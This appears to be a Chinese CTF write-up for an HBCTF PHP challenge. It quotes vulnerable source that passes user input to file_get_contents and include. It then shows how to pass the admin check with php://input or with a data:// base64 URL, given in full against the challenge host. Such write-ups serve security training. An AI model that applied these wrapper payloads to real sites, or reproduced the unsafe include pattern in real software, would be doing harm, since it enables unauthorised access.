莫桑比克-php是最好的语言
来源:HBCTF第一场WP
类别:php伪协议、data协议
来源:http://www.moonsos.com/post/256.html
用到工具:HxD(16进制编辑器) 或 winhex
WINRAR 或 好压 (查看 CRC32)
题目地址:http://123.206.66.106(已失效)
右击查看源码
you are not admin !
<!--
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
echo "hello admin!<br>";
include($file); //class.php
}else{
echo "you are not admin ! ";
}
-->
方法一:
先要加入user参数,而且要满足最后得到的user参数结果为 “the user is admin”,可以利用php伪协议:
同时利用Hackbar(一个火狐插件)发送post数据为
the user is admin
方法二:
也可以利用data协议:
http://123.206.66.106/?user=data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4=
(dGhlIHVzZXIgaXMgYWRtaW4=
base64解码后为the user is admin
)
得到如图界面:
查看源码得到flag
参考
file_get_contents()
php://
data://